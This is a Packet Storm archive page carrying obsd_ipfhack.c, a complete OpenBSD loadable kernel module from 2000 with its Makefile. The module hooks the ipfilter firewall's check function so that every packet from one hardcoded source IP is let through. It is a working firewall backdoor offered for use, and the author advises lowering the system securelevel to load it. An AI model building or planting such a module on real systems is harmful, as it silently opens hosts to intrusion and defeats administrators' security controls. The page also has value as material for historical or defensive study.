what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

obsd_ipfhack.c

obsd_ipfhack.c
Posted May 25, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

LKM for OpenBSD which makes ipfilter always accept packets from a certain IP.

systems | openbsd
SHA-256 | 197676aa8158610f0465e0cbff238d7ad65f3f6f057fb6ddd92a4d63386fcc6c

obsd_ipfhack.c

Change Mirror Download
/*
* Name: Filtering IpFilter ( OpenBSD Version + Makefile in append )
* Date: May 23 04:06:37 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject Digital Security for Y2K
* Sikurezza.org Italian Security Mailing List
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: OpenBSD 2.6 kern#0 i386
*
* read ipfhack.c ( FreeBSD Version ) for information on how this works
*
* Note if you want to use this probably you have to modify securelevel...
* (/etc/rc.securelevel) in order to load it in memory...
*
* Greetings to: Grace Slick - I love you ! :*
* Bob Dylan - Tomorrow is your birthday ... yeah!
* and for his tour in Italy :)
*
*/

#define GO_JOHNNY_GO "192.168.1.3"
/* packets sent by this ip will pass ! */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/errno.h>

#include <sys/proc.h>

#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>


typedef struct ip ip_t;
typedef struct mbuf mb_t;
typedef int ipfr_t __P((ip_t *, int, void *, int, mb_t **));

static ipfr_t myfr, *fr;
extern ipfr_t *fr_checkp;

static u_int32_t inaton __P((const char *));

static int
myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
{
if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO))
return 0;

return(fr(ip, hlen, ifp, out, mp));
}

MOD_MISC("IpFil");

static int
IpFil_load(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD) {
int s = splnet();

printf("Filtering iPFilter\n");
printf("(c) Coffeeware - SoftProject Y2k\n");
printf("pIGpEN / s0ftpj\n");
fr = fr_checkp;
fr_checkp = myfr;

splx(s);
}

return 0;
}


static int
IpFil_unload(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_UNLOAD) {
int s = splnet();

printf("iPFilter unloaded\n");
fr_checkp = fr;

splx(s);
}

return 0;
}


IpFil( lkmtp, cmd, ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp, cmd, ver, IpFil_load, IpFil_unload, lkm_nofunc);
}


static u_int32_t
inaton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;

for(i=0; i < 4; i++) {
l <<= 8;
if(*str != '\0') {
val = 0;
while(*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if(*str != '\0')
str++;
}
}
return(htonl(l));
}

/*
SRCS=obsd_ipfhack.c
OBJS=$(SRCS:.c=.o)

MODOBJ=IpFil.o

KMOD=IpFil
CFLAGS+= -D_KERNEL -I/sys

all: $(MODOBJ)

clean:
rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
*/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close